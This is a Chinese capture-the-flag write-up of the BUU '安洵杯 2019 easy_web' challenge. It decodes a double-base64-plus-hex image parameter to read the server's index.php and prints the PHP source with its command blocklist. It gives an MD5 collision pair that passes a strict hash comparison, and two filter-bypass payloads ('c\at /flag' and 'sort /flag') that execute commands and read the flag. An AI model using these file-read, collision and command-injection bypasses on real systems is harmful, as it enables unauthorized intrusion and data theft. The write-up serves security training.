BUU [安洵杯 2019]easy_web

简介: BUU [安洵杯 2019]easy_web

BUU [安洵杯 2019]easy_web

先看题目,没有什么信息。

源码里面有点东西,解个base64看看。

应该是个图片,就是一开始那个熊猫头。再看看,注意到url上面的参数。

TXpVek5UTTFNbVUzTURabE5qYz0
MzUzNTM1MmU3MDZlNjc=   //(base64)
3535352e706e67   //(base64)
555.png   //(十六进制转字符串)

那按这个道理,能不能包含他的index.php,试试,?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,果然有用。这个直接变成了源码的base64编码。

解码得。(所以这里考文件包含)

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} 
****************************************************************************************
else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}
*****************************************************************************************
?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

仔细读一下。不能直接包含flag。过滤的有点多,满足(string)P O S T [ ′ a ′ ] ! = = ( s t r i n g ) _POST['a'] !== (string) POST[‘b’] && md5(P O S T [ ′ a ′ ] ) = = = m d 5 ( _POST['a']) === md5( POST[‘b’])就能执行cmd。因为有(string)强制类型转换,所以不能数组绕过。

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

一开始MD5一直过不去,后来看了别人的wp,受益匪浅(小细节):

解法一:(所以这里考RCE

使用了两个反斜杠和四个反斜杠来过滤,但正则表达式中需要三个反斜杠才可以匹配到一个真正的反斜杠,所以实际上反斜杠没有被过滤。

 传入ca\t时,\\, \\\\, \t,是匹配不上的,\\t, \\\t竟然也匹配不上 , 直到用了\\\\t才匹配上  
cmd=c\at%20/flag

解法二:

也可以使用linux下的sort命令来进行文件读取 :

sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。

cmd=sort /flag

目录
相关文章
|
存储 移动开发 安全
开心档之C++ Web 编程 2
开心档之C++ Web 编程
44 0
|
6月前
|
前端开发 JavaScript 开发者
Bottle 也太厉害了吧!轻量级 Web 开发的神奇魔法,你还不来试试?
【8月更文挑战第31天】Bottle是一个轻量级且功能全面的Python Web框架,以其高效、简洁的特点受到开发者青睐。通过简单的安装步骤即可快速搭建Web应用。本文档不仅介绍了如何使用Bottle创建基础的路由和响应,还展示了模板渲染、静态文件处理及表单操作等功能,帮助读者快速上手并充分发挥其潜力。
149 0
|
8月前
|
开发框架 中间件 PHP
Laravel框架:优雅构建PHP Web应用的秘诀
**Laravel 框架简介:** Laravel是PHP的优雅Web开发框架,以其简洁语法、强大功能和良好开发者体验闻名。它强调代码的可读性和可维护性,加速复杂应用的构建。基础步骤包括安装PHP和Composer,然后运行`composer create-project`创建新项目。Laravel的路由、控制器和Blade模板引擎简化了HTTP请求处理和视图创建。模型和数据库迁移通过Eloquent ORM使数据库操作直观。Artisan命令行工具、队列、事件和认证系统进一步增强了其功能。【6月更文挑战第26天】
57 1
|
9月前
|
存储 前端开发 网络安全
今年十八,喜欢ctf-web
今年十八,喜欢ctf-web
74 0
|
SQL JavaScript 开发工具
CTFShow-WEB入门篇--信息搜集详细Wp
CTFShow-WEB入门篇--信息搜集详细Wp
234 0
|
移动开发 Shell C++
开心档之C++ Web 编程 1
开心档之C++ Web 编程
47 0
|
存储 移动开发 Shell
开心档之C++ Web 编程
开心档之C++ Web 编程
|
PHP 容器
[ctfshow]击剑杯 web
[ctfshow]击剑杯 web
161 0
|
前端开发 安全 搜索推荐
使用flask框架开发web网站《情话王子》
使用flask框架开发web网站《情话王子》
|
缓存 JavaScript 前端开发
一个大四学长分享自己的web前端学习路线--webpack篇(2/3)
webpack所谓的拆分的配置就是将webpack分为common(公共配置)、dev(开发环境下的配置)、prod(生产环境下);然后还需要的是在dev当中将它引入我们的common,再在prod当中引入common,这个时候我们要做的就是安装webpack-merge,比如通过这个方法module.export = smart将其导入common的时候对应的配置的命名。
一个大四学长分享自己的web前端学习路线--webpack篇(2/3)

相关实验场景

更多